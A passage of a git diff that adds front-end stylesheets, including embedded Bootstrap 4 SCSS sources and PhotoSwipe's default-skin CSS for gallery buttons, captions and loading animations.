indicator pips\n//\n// Add an ordered list with the following class and add a list item for each\n// slide your carousel holds.\n\n.carousel-indicators {\n  position: absolute;\n  right: 0;\n  bottom: 10px;\n  left: 0;\n  z-index: 15;\n  display: flex;\n  justify-content: center;\n  padding-left: 0; // override <ol> default\n  // Use the .carousel-control's width as margin so we don't overlay those\n  margin-right: $carousel-control-width;\n  margin-left: $carousel-control-width;\n  list-style: none;\n\n  li {\n    position: relative;\n    flex: 0 1 auto;\n    width: $carousel-indicator-width;\n    height: $carousel-indicator-height;\n    margin-right: $carousel-indicator-spacer;\n    margin-left: $carousel-indicator-spacer;\n    text-indent: -999px;\n    background-color: rgba($carousel-indicator-active-bg, .5);\n\n    // Use pseudo classes to increase the hit area by 10px on top and bottom.\n    &::before {\n      position: absolute;\n      top: -10px;\n      left: 0;\n      display: inline-block;\n      width: 100%;\n      height: 10px;\n      content: \"\";\n    }\n    &::after {\n      position: absolute;\n      bottom: -10px;\n      left: 0;\n      display: inline-block;\n      width: 100%;\n      height: 10px;\n      content: \"\";\n    }\n  }\n\n  .active {\n    background-color: $carousel-indicator-active-bg;\n  }\n}\n\n\n// Optional captions\n//\n//\n\n.carousel-caption {\n  position: absolute;\n  right: ((100% - $carousel-caption-width) / 2);\n  bottom: 20px;\n  left: ((100% - $carousel-caption-width) / 2);\n  z-index: 10;\n  padding-top: 20px;\n  padding-bottom: 20px;\n  color: $carousel-caption-color;\n  text-align: center;\n}\n","// stylelint-disable declaration-no-important\n\n.align-baseline    { vertical-align: baseline !important; } // Browser default\n.align-top         { vertical-align: top !important; }\n.align-middle      { vertical-align: middle !important; }\n.align-bottom      { vertical-align: bottom !important; }\n.align-text-bottom { vertical-align: text-bottom !important; }\n.align-text-top    { vertical-align: text-top !important; }\n","// stylelint-disable declaration-no-important\n\n// Contextual backgrounds\n\n@mixin bg-variant($parent, $color) {\n  #{$parent} {\n    background-color: $color !important;\n  }\n  a#{$parent},\n  button#{$parent} {\n    @include hover-focus {\n      background-color: darken($color, 10%) !important;\n    }\n  }\n}\n\n@mixin bg-gradient-variant($parent, $color) {\n  #{$parent} {\n    background: $color linear-gradient(180deg, mix($body-bg, $color, 15%), $color) repeat-x !important;\n  }\n}\n","// stylelint-disable declaration-no-important\n\n@each $color, $value in $theme-colors {\n  @include bg-variant(\".bg-#{$color}\", $value);\n}\n\n@if $enable-gradients {\n  @each $color, $value in $theme-colors {\n    @include bg-gradient-variant(\".bg-gradient-#{$color}\", $value);\n  }\n}\n\n.bg-white {\n  background-color: $white !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Border\n//\n\n.border         { border: $border-width solid $border-color !important; }\n.border-top     { border-top: $border-width solid $border-color !important; }\n.border-right   { border-right: $border-width solid $border-color !important; }\n.border-bottom  { border-bottom: $border-width solid $border-color !important; }\n.border-left    { border-left: $border-width solid $border-color !important; }\n\n.border-0        { border: 0 !important; }\n.border-top-0    { border-top: 0 !important; }\n.border-right-0  { border-right: 0 !important; }\n.border-bottom-0 { border-bottom: 0 !important; }\n.border-left-0   { border-left: 0 !important; }\n\n@each $color, $value in $theme-colors {\n  .border-#{$color} {\n    border-color: $value !important;\n  }\n}\n\n.border-white {\n  border-color: $white !important;\n}\n\n//\n// Border-radius\n//\n\n.rounded {\n  border-radius: $border-radius !important;\n}\n.rounded-top {\n  border-top-left-radius: $border-radius !important;\n  border-top-right-radius: $border-radius !important;\n}\n.rounded-right {\n  border-top-right-radius: $border-radius !important;\n  border-bottom-right-radius: $border-radius !important;\n}\n.rounded-bottom {\n  border-bottom-right-radius: $border-radius !important;\n  border-bottom-left-radius: $border-radius !important;\n}\n.rounded-left {\n  border-top-left-radius: $border-radius !important;\n  border-bottom-left-radius: $border-radius !important;\n}\n\n.rounded-circle {\n  border-radius: 50% !important;\n}\n\n.rounded-0 {\n  border-radius: 0 !important;\n}\n","@mixin clearfix() {\n  &::after {\n    display: block;\n    clear: both;\n    content: \"\";\n  }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .d#{$infix}-none         { display: none !important; }\n    .d#{$infix}-inline       { display: inline !important; }\n    .d#{$infix}-inline-block { display: inline-block !important; }\n    .d#{$infix}-block        { display: block !important; }\n    .d#{$infix}-table        { display: table !important; }\n    .d#{$infix}-table-row    { display: table-row !important; }\n    .d#{$infix}-table-cell   { display: table-cell !important; }\n    .d#{$infix}-flex         { display: flex !important; }\n    .d#{$infix}-inline-flex  { display: inline-flex !important; }\n  }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n  .d-print-none         { display: none !important; }\n  .d-print-inline       { display: inline !important; }\n  .d-print-inline-block { display: inline-block !important; }\n  .d-print-block        { display: block !important; }\n  .d-print-table        { display: table !important; }\n  .d-print-table-row    { display: table-row !important; }\n  .d-print-table-cell   { display: table-cell !important; }\n  .d-print-flex         { display: flex !important; }\n  .d-print-inline-flex  { display: inline-flex !important; }\n}\n","// Credit: Nicolas Gallagher and SUIT CSS.\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n\n  &::before {\n    display: block;\n    content: \"\";\n  }\n\n  .embed-responsive-item,\n  iframe,\n  embed,\n  object,\n  video {\n    position: absolute;\n    top: 0;\n    bottom: 0;\n    left: 0;\n    width: 100%;\n    height: 100%;\n    border: 0;\n  }\n}\n\n.embed-responsive-21by9 {\n  &::before {\n    padding-top: percentage(9 / 21);\n  }\n}\n\n.embed-responsive-16by9 {\n  &::before {\n    padding-top: percentage(9 / 16);\n  }\n}\n\n.embed-responsive-4by3 {\n  &::before {\n    padding-top: percentage(3 / 4);\n  }\n}\n\n.embed-responsive-1by1 {\n  &::before {\n    padding-top: percentage(1 / 1);\n  }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .flex#{$infix}-row            { flex-direction: row !important; }\n    .flex#{$infix}-column         { flex-direction: column !important; }\n    .flex#{$infix}-row-reverse    { flex-direction: row-reverse !important; }\n    .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n    .flex#{$infix}-wrap         { flex-wrap: wrap !important; }\n    .flex#{$infix}-nowrap       { flex-wrap: nowrap !important; }\n    .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n    .flex#{$infix}-fill         { flex: 1 1 auto !important; }\n    .flex#{$infix}-grow-0       { flex-grow: 0 !important; }\n    .flex#{$infix}-grow-1       { flex-grow: 1 !important; }\n    .flex#{$infix}-shrink-0     { flex-shrink: 0 !important; }\n    .flex#{$infix}-shrink-1     { flex-shrink: 1 !important; }\n\n    .justify-content#{$infix}-start   { justify-content: flex-start !important; }\n    .justify-content#{$infix}-end     { justify-content: flex-end !important; }\n    .justify-content#{$infix}-center  { justify-content: center !important; }\n    .justify-content#{$infix}-between { justify-content: space-between !important; }\n    .justify-content#{$infix}-around  { justify-content: space-around !important; }\n\n    .align-items#{$infix}-start    { align-items: flex-start !important; }\n    .align-items#{$infix}-end      { align-items: flex-end !important; }\n    .align-items#{$infix}-center   { align-items: center !important; }\n    .align-items#{$infix}-baseline { align-items: baseline !important; }\n    .align-items#{$infix}-stretch  { align-items: stretch !important; }\n\n    .align-content#{$infix}-start   { align-content: flex-start !important; }\n    .align-content#{$infix}-end     { align-content: flex-end !important; }\n    .align-content#{$infix}-center  { align-content: center !important; }\n    .align-content#{$infix}-between { align-content: space-between !important; }\n    .align-content#{$infix}-around  { align-content: space-around !important; }\n    .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n    .align-self#{$infix}-auto     { align-self: auto !important; }\n    .align-self#{$infix}-start    { align-self: flex-start !important; }\n    .align-self#{$infix}-end      { align-self: flex-end !important; }\n    .align-self#{$infix}-center   { align-self: center !important; }\n    .align-self#{$infix}-baseline { align-self: baseline !important; }\n    .align-self#{$infix}-stretch  { align-self: stretch !important; }\n  }\n}\n","@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .float#{$infix}-left  { @include float-left; }\n    .float#{$infix}-right { @include float-right; }\n    .float#{$infix}-none  { @include float-none; }\n  }\n}\n","// stylelint-disable declaration-no-important\n\n@mixin float-left {\n  float: left !important;\n}\n@mixin float-right {\n  float: right !important;\n}\n@mixin float-none {\n  float: none !important;\n}\n","// stylelint-disable declaration-no-important\n\n// Common values\n\n// Sass list not in variables since it's not intended for customization.\n// stylelint-disable-next-line scss/dollar-variable-default\n$positions: static, relative, absolute, fixed, sticky;\n\n@each $position in $positions {\n  .position-#{$position} { position: $position !important; }\n}\n\n// Shorthand\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: $zindex-fixed;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: $zindex-fixed;\n}\n\n.sticky-top {\n  @supports (position: sticky) {\n    position: sticky;\n    top: 0;\n    z-index: $zindex-sticky;\n  }\n}\n","//\n// Screenreaders\n//\n\n.sr-only {\n  @include sr-only();\n}\n\n.sr-only-focusable {\n  @include sr-only-focusable();\n}\n","// Only display content to screen readers\n//\n// See: https://a11yproject.com/posts/how-to-hide-content/\n// See: https://hugogiraudel.com/2016/10/13/css-hide-and-seek/\n\n@mixin sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  border: 0;\n}\n\n// Use in conjunction with .sr-only to only display content when it's focused.\n//\n// Useful for \"Skip to main content\" links; see https://www.w3.org/TR/2013/NOTE-WCAG20-TECHS-20130905/G1\n//\n// Credit: HTML5 Boilerplate\n\n@mixin sr-only-focusable {\n  &:active,\n  &:focus {\n    position: static;\n    width: auto;\n    height: auto;\n    overflow: visible;\n    clip: auto;\n    white-space: normal;\n  }\n}\n","// stylelint-disable declaration-no-important\n\n.shadow-sm { box-shadow: $box-shadow-sm !important; }\n.shadow { box-shadow: $box-shadow !important; }\n.shadow-lg { box-shadow: $box-shadow-lg !important; }\n.shadow-none { box-shadow: none !important; }\n","// stylelint-disable declaration-no-important\n\n// Width and height\n\n@each $prop, $abbrev in (width: w, height: h) {\n  @each $size, $length in $sizes {\n    .#{$abbrev}-#{$size} { #{$prop}: $length !important; }\n  }\n}\n\n.mw-100 { max-width: 100% !important; }\n.mh-100 { max-height: 100% !important; }\n","// stylelint-disable declaration-no-important\n\n// Margin and Padding\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    @each $prop, $abbrev in (margin: m, padding: p) {\n      @each $size, $length in $spacers {\n\n        .#{$abbrev}#{$infix}-#{$size} { #{$prop}: $length !important; }\n        .#{$abbrev}t#{$infix}-#{$size},\n        .#{$abbrev}y#{$infix}-#{$size} {\n          #{$prop}-top: $length !important;\n        }\n        .#{$abbrev}r#{$infix}-#{$size},\n        .#{$abbrev}x#{$infix}-#{$size} {\n          #{$prop}-right: $length !important;\n        }\n        .#{$abbrev}b#{$infix}-#{$size},\n        .#{$abbrev}y#{$infix}-#{$size} {\n          #{$prop}-bottom: $length !important;\n        }\n        .#{$abbrev}l#{$infix}-#{$size},\n        .#{$abbrev}x#{$infix}-#{$size} {\n          #{$prop}-left: $length !important;\n        }\n      }\n    }\n\n    // Some special margin utils\n    .m#{$infix}-auto { margin: auto !important; }\n    .mt#{$infix}-auto,\n    .my#{$infix}-auto {\n      margin-top: auto !important;\n    }\n    .mr#{$infix}-auto,\n    .mx#{$infix}-auto {\n      margin-right: auto !important;\n    }\n    .mb#{$infix}-auto,\n    .my#{$infix}-auto {\n      margin-bottom: auto !important;\n    }\n    .ml#{$infix}-auto,\n    .mx#{$infix}-auto {\n      margin-left: auto !important;\n    }\n  }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Text\n//\n\n.text-monospace { font-family: $font-family-monospace; }\n\n// Alignment\n\n.text-justify  { text-align: justify !important; }\n.text-nowrap   { white-space: nowrap !important; }\n.text-truncate { @include text-truncate; }\n\n// Responsive alignment\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .text#{$infix}-left   { text-align: left !important; }\n    .text#{$infix}-right  { text-align: right !important; }\n    .text#{$infix}-center { text-align: center !important; }\n  }\n}\n\n// Transformation\n\n.text-lowercase  { text-transform: lowercase !important; }\n.text-uppercase  { text-transform: uppercase !important; }\n.text-capitalize { text-transform: capitalize !important; }\n\n// Weight and italics\n\n.font-weight-light  { font-weight: $font-weight-light !important; }\n.font-weight-normal { font-weight: $font-weight-normal !important; }\n.font-weight-bold   { font-weight: $font-weight-bold !important; }\n.font-italic        { font-style: italic !important; }\n\n// Contextual colors\n\n.text-white { color: $white !important; }\n\n@each $color, $value in $theme-colors {\n  @include text-emphasis-variant(\".text-#{$color}\", $value);\n}\n\n.text-body { color: $body-color !important; }\n.text-muted { color: $text-muted !important; }\n\n.text-black-50 { color: rgba($black, .5) !important; }\n.text-white-50 { color: rgba($white, .5) !important; }\n\n// Misc\n\n.text-hide {\n  @include text-hide();\n}\n","// Text truncate\n// Requires inline-block or block for proper styling\n\n@mixin text-truncate() {\n  overflow: hidden;\n  text-overflow: ellipsis;\n  white-space: nowrap;\n}\n","// stylelint-disable declaration-no-important\n\n// Typography\n\n@mixin text-emphasis-variant($parent, $color) {\n  #{$parent} {\n    color: $color !important;\n  }\n  a#{$parent} {\n    @include hover-focus {\n      color: darken($color, 10%) !important;\n    }\n  }\n}\n","// CSS image replacement\n@mixin text-hide() {\n  // stylelint-disable-next-line font-family-no-missing-generic-family-keyword\n  font: 0/0 a;\n  color: transparent;\n  text-shadow: none;\n  background-color: transparent;\n  border: 0;\n\n  @warn \"The `text-hide()` mixin has been deprecated as of v4.1.0. It will be removed entirely in v5.\";\n}\n","//\n// Visibility utilities\n//\n\n.visible {\n  @include invisible(visible);\n}\n\n.invisible {\n  @include invisible(hidden);\n}\n","// stylelint-disable declaration-no-important\n\n// Visibility\n\n@mixin invisible($visibility) {\n  visibility: $visibility !important;\n}\n","// stylelint-disable declaration-no-important, selector-no-qualifying-type\n\n// Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css\n\n// ==========================================================================\n// Print styles.\n// Inlined to avoid the additional HTTP request:\n// https://www.phpied.com/delay-loading-your-print-css/\n// ==========================================================================\n\n@if $enable-print-styles {\n  @media print {\n    *,\n    *::before,\n    *::after {\n      // Bootstrap specific; comment out `color` and `background`\n      //color: $black !important; // Black prints faster\n      text-shadow: none !important;\n      //background: transparent !important;\n      box-shadow: none !important;\n    }\n\n    a {\n      &:not(.btn) {\n        text-decoration: underline;\n      }\n    }\n\n    // Bootstrap specific; comment the following selector out\n    //a[href]::after {\n    //  content: \" (\" attr(href) \")\";\n    //}\n\n    abbr[title]::after {\n      content: \" (\" attr(title) \")\";\n    }\n\n    // Bootstrap specific; comment the following selector out\n    //\n    // Don't show links that are fragment identifiers,\n    // or use the `javascript:` pseudo protocol\n    //\n\n    //a[href^=\"#\"]::after,\n    //a[href^=\"javascript:\"]::after {\n    // content: \"\";\n    //}\n\n    pre {\n      white-space: pre-wrap !important;\n    }\n    pre,\n    blockquote {\n      border: $border-width solid $gray-500;   // Bootstrap custom code; using `$border-width` instead of 1px\n      page-break-inside: avoid;\n    }\n\n    //\n    // Printing Tables:\n    // http://css-discuss.incutio.com/wiki/Printing_Tables\n    //\n\n    thead {\n      display: table-header-group;\n    }\n\n    tr,\n    img {\n      page-break-inside: avoid;\n    }\n\n    p,\n    h2,\n    h3 {\n      orphans: 3;\n      widows: 3;\n    }\n\n    h2,\n    h3 {\n      page-break-after: avoid;\n    }\n\n    // Bootstrap specific changes start\n\n    // Specify a size and min-width to make printing closer across browsers.\n    // We don't set margin here because it breaks `size` in Chrome. We also\n    // don't use `!important` on `size` as it breaks in Chrome.\n    @page {\n      size: $print-page-size;\n    }\n    body {\n      min-width: $print-body-min-width !important;\n    }\n    .container {\n      min-width: $print-body-min-width !important;\n    }\n\n    // Bootstrap components\n    .navbar {\n      display: none;\n    }\n    .badge {\n      border: $border-width solid $black;\n    }\n\n    .table {\n      border-collapse: collapse !important;\n\n      td,\n      th {\n        background-color: $white !important;\n      }\n    }\n    .table-bordered {\n      th,\n      td {\n        border: 1px solid $gray-300 !important;\n      }\n    }\n\n    // Bootstrap specific changes end\n  }\n}\n"]}
\ No newline at end of file
diff --git a/public/css/default-skin.css b/public/css/default-skin.css
new file mode 100644
index 0000000..01e4e25
--- /dev/null
+++ b/public/css/default-skin.css
@@ -0,0 +1,614 @@
+/*! PhotoSwipe Default UI CSS by Dmitry Semenov | photoswipe.com | MIT license */
+/*
+  Contents:
+  1. Buttons
+  2. Share modal and links
+  3. Index indicator ("1 of X" counter)
+  4. Caption
+  5. Loading indicator
+  6. Additional styles (root element, top bar, idle state, hidden state, etc.)
+*/
+/* 1. Buttons */
+
+/* <button> css reset */
+
+.pswp__button {
+  width: 44px;
+  height: 44px;
+  position: relative;
+  background: none;
+  cursor: pointer;
+  overflow: visible;
+  -webkit-appearance: none;
+  display: block;
+  border: 0;
+  padding: 0;
+  margin: 0;
+  float: right;
+  opacity: 0.75;
+  -webkit-transition: opacity 0.2s;
+  transition: opacity 0.2s;
+  -webkit-box-shadow: none;
+  box-shadow: none;
+}
+
+.pswp__button:focus,
+.pswp__button:hover {
+  opacity: 1;
+}
+
+.pswp__button:active {
+  outline: none;
+  opacity: 0.9;
+}
+
+.pswp__button::-moz-focus-inner {
+  padding: 0;
+  border: 0;
+}
+
+
+/* pswp__ui--over-close class it added when mouse is over element that should close gallery */
+
+.pswp__ui--over-close .pswp__button--close {
+  opacity: 1;
+}
+
+.pswp__button,
+.pswp__button--arrow--left:before,
+.pswp__button--arrow--right:before {
+  background: url(default-skin.png) 0 0 no-repeat;
+  background-size: 264px 88px;
+  width: 44px;
+  height: 44px;
+}
+
+@media (-webkit-min-device-pixel-ratio: 1.1),
+(-webkit-min-device-pixel-ratio: 1.09375),
+(min-resolution: 105dpi),
+(min-resolution: 1.1dppx) {
+  /* Serve SVG sprite if browser supports SVG and resolution is more than 105dpi */
+  .pswp--svg .pswp__button,
+  .pswp--svg .pswp__button--arrow--left:before,
+  .pswp--svg .pswp__button--arrow--right:before {
+    background-image: url(default-skin.svg);
+  }
+  .pswp--svg .pswp__button--arrow--left,
+  .pswp--svg .pswp__button--arrow--right {
+    background: none;
+  }
+}
+
+.pswp__button--close {
+  background-position: 0 -44px;
+}
+
+.pswp__button--share {
+  background-position: -44px -44px;
+}
+
+.pswp__button--fs {
+  display: none;
+}
+
+.pswp--supports-fs .pswp__button--fs {
+  display: block;
+}
+
+.pswp--fs .pswp__button--fs {
+  background-position: -44px 0;
+}
+
+.pswp__button--zoom {
+  display: none;
+  background-position: -88px 0;
+}
+
+.pswp--zoom-allowed .pswp__button--zoom {
+  display: block;
+}
+
+.pswp--zoomed-in .pswp__button--zoom {
+  background-position: -132px 0;
+}
+
+
+/* no arrows on touch screens */
+
+.pswp--touch .pswp__button--arrow--left,
+.pswp--touch .pswp__button--arrow--right {
+  visibility: hidden;
+}
+
+
+/*
+  Arrow buttons hit area
+  (icon is added to :before pseudo-element)
+*/
+
+.pswp__button--arrow--left,
+.pswp__button--arrow--right {
+  background: none;
+  top: 50%;
+  margin-top: -50px;
+  width: 70px;
+  height: 100px;
+  position: absolute;
+}
+
+.pswp__button--arrow--left {
+  left: 0;
+}
+
+.pswp__button--arrow--right {
+  right: 0;
+}
+
+.pswp__button--arrow--left:before,
+.pswp__button--arrow--right:before {
+  content: '';
+  top: 35px;
+  background-color: rgba(0, 0, 0, 0.3);
+  height: 30px;
+  width: 32px;
+  position: absolute;
+}
+
+.pswp__button--arrow--left:before {
+  left: 6px;
+  background-position: -138px -44px;
+}
+
+.pswp__button--arrow--right:before {
+  right: 6px;
+  background-position: -94px -44px;
+}
+
+
+/*
+
+  2. Share modal/popup and links
+
+ */
+
+.pswp__counter,
+.pswp__share-modal {
+  -webkit-user-select: none;
+  -moz-user-select: none;
+  -ms-user-select: none;
+  user-select: none;
+}
+
+.pswp__share-modal {
+  display: block;
+  background: rgba(0, 0, 0, 0.5);
+  width: 100%;
+  height: 100%;
+  top: 0;
+  left: 0;
+  padding: 10px;
+  position: absolute;
+  z-index: 1600;
+  opacity: 0;
+  -webkit-transition: opacity 0.25s ease-out;
+  transition: opacity 0.25s ease-out;
+  -webkit-backface-visibility: hidden;
+  will-change: opacity;
+}
+
+.pswp__share-modal--hidden {
+  display: none;
+}
+
+.pswp__share-tooltip {
+  z-index: 1620;
+  position: absolute;
+  background: #FFF;
+  top: 56px;
+  border-radius: 2px;
+  display: block;
+  width: auto;
+  right: 44px;
+  -webkit-box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
+  box-shadow: 0 2px 5px rgba(0, 0, 0, 0.25);
+  -webkit-transform: translateY(6px);
+  -ms-transform: translateY(6px);
+  transform: translateY(6px);
+  -webkit-transition: -webkit-transform 0.25s;
+  transition: transform 0.25s;
+  -webkit-backface-visibility: hidden;
+  will-change: transform;
+}
+
+.pswp__share-tooltip a {
+  display: block;
+  padding: 8px 12px;
+  color: #000;
+  text-decoration: none;
+  font-size: 14px;
+  line-height: 18px;
+}
+
+.pswp__share-tooltip a:hover {
+  text-decoration: none;
+  color: #000;
+}
+
+.pswp__share-tooltip a:first-child {
+  /* round corners on the first/last list item */
+  border-radius: 2px 2px 0 0;
+}
+
+.pswp__share-tooltip a:last-child {
+  border-radius: 0 0 2px 2px;
+}
+
+.pswp__share-modal--fade-in {
+  opacity: 1;
+}
+
+.pswp__share-modal--fade-in .pswp__share-tooltip {
+  -webkit-transform: translateY(0);
+  -ms-transform: translateY(0);
+  transform: translateY(0);
+}
+
+
+/* increase size of share links on touch devices */
+
+.pswp--touch .pswp__share-tooltip a {
+  padding: 16px 12px;
+}
+
+a.pswp__share--facebook:before {
+  content: '';
+  display: block;
+  width: 0;
+  height: 0;
+  position: absolute;
+  top: -12px;
+  right: 15px;
+  border: 6px solid transparent;
+  border-bottom-color: #FFF;
+  -webkit-pointer-events: none;
+  -moz-pointer-events: none;
+  pointer-events: none;
+}
+
+a.pswp__share--facebook:hover {
+  background: #3E5C9A;
+  color: #FFF;
+}
+
+a.pswp__share--facebook:hover:before {
+  border-bottom-color: #3E5C9A;
+}
+
+a.pswp__share--twitter:hover {
+  background: #55ACEE;
+  color: #FFF;
+}
+
+a.pswp__share--pinterest:hover {
+  background: #CCC;
+  color: #CE272D;
+}
+
+a.pswp__share--download:hover {
+  background: #DDD;
+}
+
+
+/*
+
+  3. Index indicator ("1 of X" counter)
+
+ */
+
+.pswp__counter {
+  position: absolute;
+  left: 0;
+  top: 0;
+  height: 44px;
+  font-size: 13px;
+  line-height: 44px;
+  color: #FFF;
+  opacity: 0.75;
+  padding: 0 10px;
+}
+
+
+/*
+  
+  4. Caption
+
+ */
+
+.pswp__caption {
+  position: absolute;
+  left: 0;
+  bottom: 0;
+  width: 100%;
+  min-height: 44px;
+}
+
+.pswp__caption small {
+  font-size: 11px;
+  color: #BBB;
+}
+
+.pswp__caption__center {
+  text-align: left;
+  max-width: 420px;
+  margin: 0 auto;
+  font-size: 13px;
+  padding: 10px;
+  line-height: 20px;
+  color: #CCC;
+}
+
+.pswp__caption--empty {
+  display: none;
+}
+
+
+/* Fake caption element, used to calculate height of next/prev image */
+
+.pswp__caption--fake {
+  visibility: hidden;
+}
+
+
+/*
+
+  5. Loading indicator (preloader)
+
+  You can play with it here - http://codepen.io/dimsemenov/pen/yyBWoR
+
+ */
+
+.pswp__preloader {
+  width: 44px;
+  height: 44px;
+  position: absolute;
+  top: 0;
+  left: 50%;
+  margin-left: -22px;
+  opacity: 0;
+  -webkit-transition: opacity 0.25s ease-out;
+  transition: opacity 0.25s ease-out;
+  will-change: opacity;
+  direction: ltr;
+}
+
+.pswp__preloader__icn {
+  width: 20px;
+  height: 20px;
+  margin: 12px;
+}
+
+.pswp__preloader--active {
+  opacity: 1;
+}
+
+.pswp__preloader--active .pswp__preloader__icn {
+  /* We use .gif in browsers that don't support CSS animation */
+  background: url(preloader.gif) 0 0 no-repeat;
+}
+
+.pswp--css_animation .pswp__preloader--active {
+  opacity: 1;
+}
+
+.pswp--css_animation .pswp__preloader--active .pswp__preloader__icn {
+  -webkit-animation: clockwise 500ms linear infinite;
+  animation: clockwise 500ms linear infinite;
+}
+
+.pswp--css_animation .pswp__preloader--active .pswp__preloader__donut {
+  -webkit-animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
+  animation: donut-rotate 1000ms cubic-bezier(0.4, 0, 0.22, 1) infinite;
+}
+
+.pswp--css_animation .pswp__preloader__icn {
+  background: none;
+  opacity: 0.75;
+  width: 14px;
+  height: 14px;
+  position: absolute;
+  left: 15px;
+  top: 15px;
+  margin: 0;
+}
+
+.pswp--css_animation .pswp__preloader__cut {
+  /* 
+      The idea of animating inner circle is based on Polymer ("material") loading indicator 
+       by Keanu Lee https://blog.keanulee.com/2014/10/20/the-tale-of-three-spinners.html
+    */
+  position: relative;
+  width: 7px;
+  height: 14px;
+  overflow: hidden;
+}
+
+.pswp--css_animation .pswp__preloader__donut {
+  -webkit-box-sizing: border-box;
+  box-sizing: border-box;
+  width: 14px;
+  height: 14px;
+  border: 2px solid #FFF;
+  border-radius: 50%;
+  border-left-color: transparent;
+  border-bottom-color: transparent;
+  position: absolute;
+  top: 0;
+  left: 0;
+  background: none;
+  margin: 0;
+}
+
+@media screen and (max-width: 1024px) {
+  .pswp__preloader {
+    position: relative;
+    left: auto;
+    top: auto;
+    margin: 0;
+    float: right;
+  }
+}
+
+@-webkit-keyframes clockwise {
+  0% {
+    -webkit-transform: rotate(0deg);
+    transform: rotate(0deg);
+  }
+  100% {
+    -webkit-transform: rotate(360deg);
+    transform: rotate(360deg);
+  }
+}
+
+@keyframes clockwise {
+  0% {
+    -webkit-transform: rotate(0deg);
+    transform: rotate(0deg);
+  }
+  100% {
+    -webkit-transform: rotate(360deg);
+    transform: rotate(360deg);
+  }
+}
+
+@-webkit-keyframes donut-rotate {
+  0% {
+    -webkit-transform: rotate(0);
+    transform: rotate(0);
+  }
+  50% {
+    -webkit-transform: rotate(-140deg);
+    transform: rotate(-140deg);
+  }
+  100% {
+    -webkit-transform: rotate(0);
+    transform: rotate(0);
+  }
+}
+
+@keyframes donut-rotate {
+  0% {
+    -webkit-transform: rotate(0);
+    transform: rotate(0);
+  }
+  50% {
+    -webkit-transform: rotate(-140deg);
+    transform: rotate(-140deg);
+  }
+  100% {
+    -webkit-transform: rotate(0);
+    transform: rotate(0);
+  }
+}
+
+
+/*
+  
+  6. Additional styles
+
+ */
+
+
+/* root element of UI */
+
+.pswp__ui {
+  -webkit-font-smoothing: auto;
+  visibility: visible;
+  opacity: 1;
+  z-index: 1550;
+}
+
+
+/* top black bar with buttons and "1 of X" indicator */
+
+.pswp__top-bar {
+  position: absolute;
+  left: 0;
+  top: 0;
+  height: 44px;
+  width: 100%;
+}
+
+.pswp__caption,
+.pswp__top-bar,
+.pswp--has_mouse .pswp__button--arrow--left,
+.pswp--has_mouse .pswp__button--arrow--right {
+  -webkit-backface-visibility: hidden;
+  will-change: opacity;
+  -webkit-transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
+  transition: opacity 333ms cubic-bezier(0.4, 0, 0.22, 1);
+}
+
+
+/* pswp--has_mouse class is added only when two subsequent mousemove events occur */
+
+.pswp--has_mouse .pswp__button--arrow--left,
+.pswp--has_mouse .pswp__button--arrow--right {
+  visibility: visible;
+}
+
+.pswp__top-bar,
+.pswp__caption {
+  background-color: rgba(0, 0, 0, 0.5);
+}
+
+
+/* pswp__ui--fit class is added when main image "fits" between top bar and bottom bar (caption) */
+
+.pswp__ui--fit .pswp__top-bar,
+.pswp__ui--fit .pswp__caption {
+  background-color: rgba(0, 0, 0, 0.3);
+}
+
+
+/* pswp__ui--idle class is added when mouse isn't moving for several seconds (JS option timeToIdle) */
+
+.pswp__ui--idle .pswp__top-bar {
+  opacity: 0;
+}
+
+.pswp__ui--idle .pswp__button--arrow--left,
+.pswp__ui--idle .pswp__button--arrow--right {
+  opacity: 0;
+}
+
+
+/*
+  pswp__ui--hidden class is added when controls are hidden
+  e.g. when user taps to toggle visibility of controls
+*/
+
+.pswp__ui--hidden .pswp__top-bar,
+.pswp__ui--hidden .pswp__caption,
+.pswp__ui--hidden .pswp__button--arrow--left,
+.pswp__ui--hidden .pswp__button--arrow--right {
+  /* Force paint & create composition layer for controls. */
+  opacity: 0.001;
+}
+
+
+/* pswp__ui--one-slide class is added when there is just one item in gallery */
+
+.pswp__ui--one-slide .pswp__button--arrow--left,
+.pswp__ui--one-slide .pswp__button--arrow--right,
+.pswp__ui--one-slide .pswp__counter {
+  display: none;
+}
+
+.pswp__element--disabled {
+  display: none !important;
+}
+
+.pswp--minimal--dark .pswp__top-bar {
+  background: none;
+}
+
diff --git a/public/css/font-awesome.min.css b/public/css/font-awesome.min.css
new file mode 100644
index 0000000..540440c
--- /dev/null
